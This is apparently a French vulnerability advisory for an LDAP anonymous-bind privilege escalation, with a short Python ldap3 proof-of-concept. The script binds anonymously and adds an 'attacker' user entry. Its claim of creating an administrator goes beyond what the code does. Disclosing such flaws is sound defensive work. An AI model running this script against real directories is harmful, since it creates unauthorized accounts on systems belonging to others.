CVE-2026-21017 – Élévation de privilèges par bind anonyme LDAP

Code du programme (Python ldap3 sim)

# ldap_anon_sim.py - LDAP server allowing anonymous bind with write access
from ldap3 import Server, Connection, ALL

# Simulated: real server would be misconfigured
server = Server('ldap://localhost:389', get_info=ALL)
conn = Connection(server, authentication='ANONYMOUS')
conn.bind()
# If anonymous has write permission to userPassword, can add self as admin
conn.add('uid=attacker,ou=people,dc=example,dc=com', ['inetOrgPerson'], {'uid': 'attacker', 'userPassword': 'password'})
print("User created anonymously!")

CVE-2026-21017 – Élévation de privilèges par bind anonyme LDAP

Aperçu

Un annuaire LDAP est mal configuré : il autorise les binds anonymes et accorde également un accès en écriture à des attributs sensibles (comme userPassword). Un attaquant peut effectuer un bind anonyme et créer un nouvel utilisateur administrateur, ce qui lui permet d'élever ses privilèges.

Détails de la vulnérabilité

• Type: Contrôle d'accès insuffisant
• Impact: Compromission complète de l'annuaire.
• Cause racine: La liste de contrôle d'accès (ACL) ne restreint pas les écritures aux utilisateurs authentifiés.

Démonstration de l'exploit

Exécutez la simulation (nécessite un serveur LDAP réel pour un test concret, mais nous montrons le concept) :

python ldap_anon_sim.py

Le script tente d'ajouter un utilisateur de manière anonyme.